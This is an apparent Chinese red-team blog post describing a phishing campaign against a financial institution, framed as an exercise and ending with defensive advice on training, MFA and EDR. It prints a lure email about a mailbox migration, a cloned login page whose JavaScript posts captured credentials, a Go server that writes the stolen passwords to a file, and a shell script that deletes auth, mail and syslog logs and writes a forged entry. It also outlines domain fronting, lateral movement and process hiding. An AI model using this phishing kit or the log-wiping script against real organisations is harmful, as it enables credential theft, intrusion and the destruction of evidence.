0x01 渗透者的初始点

黑客示意图

在一个组织的年终评估中,一位红队成员执行了一次完整的社工铓鱼攻击,此次攻击完全是基于实战的情境,目标是一家金融机构。组织内部有严格的电子邮件过滤机制和强大的安全防御系统。然而,正如很多案例一样,人是安全链条中最薄弱的环节,这次攻击也是从人这个因素入手。

攻击者发现目标组织内部的一次域名变更,借此机会,他们构造了一封看似合法的邮件,内容是关于域名变更后的邮箱系统迁移指导,邮件附带一个指向精心设计的钓鱼网站的链接。网站看起来几乎与原邮件系统一致,并利用人们对变化的疏忽实施攻击。

0x02 钓鱼邮件的艺术构造

在这个阶段,攻击者需要确保邮件能够通过目标的安全检查并且具有足够的诱惑力让用户点击链接。为了实现这一目标,攻击者使用了一些高级技术:

邮件内容设计

黑客示意图

邮件内容需要具有足够的真实性和紧迫性。攻击者通过研究目标组织的历史邮件格式、语言风格和常见主题,构造了一封内容如下的邮件:

<pre><code class="language-plaintext">尊敬的员工,

由于我们最近进行了域名变更,您需要将您的邮箱迁移到新的系统。请点击以下链接以完成迁移: 点击这里

如果您在迁移过程中遇到任何问题,请随时联系我们的技术支持团队。

感谢您的合作! IT支持团队</code></pre>

铓鱼网站的搭建

为了让受害者相信自己在访问真实的网站,攻击者克隆了目标组织的邮件登录页面,并在钓鱼页面中加入了JavaScript代码,以记录输入的凭证信息。

<pre><code class="language-html">&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;邮件系统迁移&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;form action=&quot;/login&quot; method=&quot;POST&quot;&gt; &lt;h2&gt;请登录以继续&lt;/h2&gt; &lt;input type=&quot;email&quot; name=&quot;email&quot; placeholder=&quot;Email&quot;&gt;&lt;br&gt; &lt;input type=&quot;password&quot; name=&quot;password&quot; placeholder=&quot;Password&quot;&gt;&lt;br&gt; &lt;button type=&quot;submit&quot;&gt;登录&lt;/button&gt; &lt;/form&gt; &lt;script&gt; document.querySelector(&#039;form&#039;).onsubmit = function(e) { fetch(&#039;/capture&#039;, { method: &#039;POST&#039;, body: JSON.stringify({ email: document.querySelector(&#039;input[name=&quot;email&quot;]&#039;).value, password: document.querySelector(&#039;input[name=&quot;password&quot;]&#039;).value }) }); e.preventDefault(); } &lt;/script&gt; &lt;/body&gt; &lt;/html&gt;</code></pre>

攻击者通过这种手段,轻松获取了多个员工的邮箱登录凭证,而这些凭证成为了进入组织内部网络的钥匙。

0x03 铓鱼网站流量捕获实战

为了避免触发安全警报,攻击者必须确保流量的隐匿性和伪装性。在这一步中,使用了流量捕获和伪装技术,确保数据传输不被检测到。

构建捕获服务器

黑客示意图

攻击者使用Go语言构建了一个简单的捕获服务器,用于存储钓鱼页面收集到的凭证信息:

<pre><code class="language-go">package main

import ( &quot;encoding/json&quot; &quot;net/http&quot; &quot;os&quot; )

type Credentials struct { Email string json:&quot;email&quot; Password string json:&quot;password&quot; }

func captureHandler(w http.ResponseWriter, r *http.Request) { var creds Credentials json.NewDecoder(r.Body).Decode(&amp;creds) file, _ := os.OpenFile(&quot;credentials.txt&quot;, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) defer file.Close() file.WriteString(creds.Email + &quot;:&quot; + creds.Password + &quot;\n&quot;) }

func main() { http.HandleFunc(&quot;/capture&quot;, captureHandler) http.ListenAndServe(&quot;:8080&quot;, nil) }</code></pre>

通过这一段代码,攻击者能够实时将收集到的凭证信息存储到服务器并进行后续分析。

流量伪装技术

为了绕过网络流量监控,攻击者选择使用SSL/TLS加密连接,并伪装流量为常见的HTTPS请求。此外,使用了伪装的User-Agent头,以模拟正常用户活动。不仅如此,攻击者还使用了域前置技术,将流量伪装为流行的云服务提供商的请求。

0x04 进入内网后的行动策略

凭借获取到的邮件凭证,攻击者得以通过邮件服务进一步进入目标内网,执行内部系统的横向移动攻击。他们能在内部网络中发现其他系统的漏洞,并利用这些漏洞逐步取得更高的权限。

内网横向移动策略

一旦进入内网,攻击者可以通过以下步骤进行横向移动:

  1. 信息收集: 使用已获取的邮件访问内网资源,并通过邮件系统收集其他用户信息。
  2. 漏洞利用: 识别并利用内部系统中的未修补漏洞,比如对于特定版本的操作系统的远程代码执行漏洞。
  3. 权限提升: 使用获取的凭证和漏洞执行权限提升攻击,以获得更高访问级别。

攻击者在这个阶段可能会使用工具如Cobalt Strike或Metasploit来自动化攻击过程,确保以最少的干扰完成渗透。

0x05 痕迹清除与反检测技巧

在攻击成功后,攻击者会进行痕迹清除,以避免被安全团队发现。以下是一些常用的反检测技巧:

日志清除与伪造

攻击者在内网中执行命令,通过脚本自动化清除系统日志,或者干脆伪造日志以掩盖其活动轨迹。以下是一个用于清除日志的简单Shell脚本:

黑客示意图

<pre><code class="language-shell">#!/bin/bash

清除所有相关日志

rm /var/log/mail.log rm /var/log/auth.log rm /var/log/syslog

伪造日志

echo &quot;正常操作记录&quot; &gt; /var/log/system.log</code></pre>

反检测技术

攻击者使用多种技术来反监控,包括:

  • 流量加密: 使用加密协议确保流量难以被分析。
  • 进程隐藏: 使用进程注入技术隐藏恶意进程。
  • 文件删除: 删除所有恶意文件和临时文件。

0x06 亲身经历的反思与分享

在进行这次社工铓鱼攻击过程中,攻击者发现,虽然技术上的攻击链非常重要,但人性因素始终是最容易被忽略的。很多员工由于对变更的不熟悉而更容易成为攻击的目标。因此,攻击者建议:

加强员工安全意识培训

定期进行社工攻击模拟训练,提高员工对钓鱼邮件的识别能力,将是防御此类攻击的最有效方法。

实施多因素认证

增加多因素认证,确保即使凭证泄露,也无法直接获得系统访问权限,是阻止攻击者进入内网的关键一步。

使用高级检测与响应系统

采用更高级的EDR解决方案,能够实时监控并分析异常活动,提升对攻击的检测能力。

通过这次攻击,攻击者不仅获得了重要的经验教训,也意识到了安全领域中人性与技术的紧密联系。即使拥有先进的技术手段,攻击者在实施攻击时仍需全面考虑目标的所有弱点,而不仅仅是技术层面。